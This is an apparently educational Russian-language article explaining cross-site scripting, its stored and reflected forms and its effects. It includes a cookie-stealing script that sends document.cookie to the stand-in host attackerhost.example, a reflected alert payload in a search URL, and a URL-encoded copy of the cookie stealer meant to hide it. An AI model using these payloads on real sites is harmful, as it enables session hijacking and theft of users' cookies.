Атака на клиентов: Cross-site Scripting

Уязвимость Cross-site Scripting относят к межсайтовому выполнению сценариев. При данной атаке злоумышленник передаёт серверу исполняемый код, который перенаправляется веб-браузеру пользователя. Как правило, вредоносный код создаётся на HTML/JavaScript, однако могут использоваться и другие технологии, поддерживаемые браузером: VBScript, Java, ActiveX, Flash и т. д.

Переданный таким образом код исполняется в зоне безопасности уязвимого сервера. Благодаря таким привилегиям, код может читать, передавать либо даже модифицировать конфиденциальные данные, доступные посредством браузера.

Например, атакованный пользователь может столкнуться с компрометацией аккаунта и кражей cookie-файлов. Также возможно перенаправление браузера пользователя на другой сервер либо осуществление подмены содержимого сервера. По итогу такой атаки хакер сможет использовать для просмотра сайта браузер жертвы и от имени жертвы. Код может передаваться хакером в URL, в HTTP-заголовках запроса (user-agent, cookie, refferer), в значениях полей форм и т. п.

Виды Cross-site Scripting

Выделяют 2 вида атак, обеспечивающих межсайтовое выполнение сценариев: — постоянные (сохранённые) атаки; — непостоянные (отражённые) атаки.

Отличие в том, что во втором варианте передача кода веб-серверу и возврат его клиенту выполняется в рамках одного HTTP-запроса (в первом случае — в разных).

Чтобы реализовать непостоянную атаку, злоумышленнику нужно, чтобы ничего не подозревающий пользователь перешел по ссылке, сформированной хакером (ссылка передаётся по email, через соцсети, мессенджеры и т. д.). При загрузке сайта код, который внедрён в URL либо в заголовки запроса, передаётся клиенту с последующим выполнением в его браузере. Что касается сохранённой разновидности атаки, то она возникает, если код передается веб-серверу, сохраняясь на нём на определённое время. Наиболее популярные цели атак — форумы, чаты, электронная почта с Web-интерфейсом. В этом случае для атаки пользователю совсем не обязательно переходить по ссылке, а достаточно всего лишь посетить уязвимый веб-сайт.

Пример сохраненного варианта атаки

Есть сайт с доской объявлений. Зарегистрированный ранее пользователь идентифицируется по номеру сессии, который сохраняется в cookie. Когда злоумышленник оставляет сообщение, содержащее код на JavaScript, он получает доступ к конфиденциальному идентификатору сессии пользователя.

Посмотрим на образец кода для передачи cookie:

<SCRIPT>document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

Пример отражённого варианта атаки

Некоторые серверы предоставляют возможность поиска по содержимому. Обычно запрос здесь передаётся в URL и находится в результирующей странице. Допустим, при переходе по URL http://portal.example/search?q= «online courses» пользователь увидит страницу с результатом поиска и фразу: «По запросу online courses найдено 0 страниц». Если же в виде искомой фразы передать Javascript, код выполнится в веб-браузере пользователя.

Как это может выглядеть:

http://portal.example/search/?q=<script>alert ( «xss»)</script>

А чтобы сокрыть код сценария, может быть задействована кодировка URLEncode

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E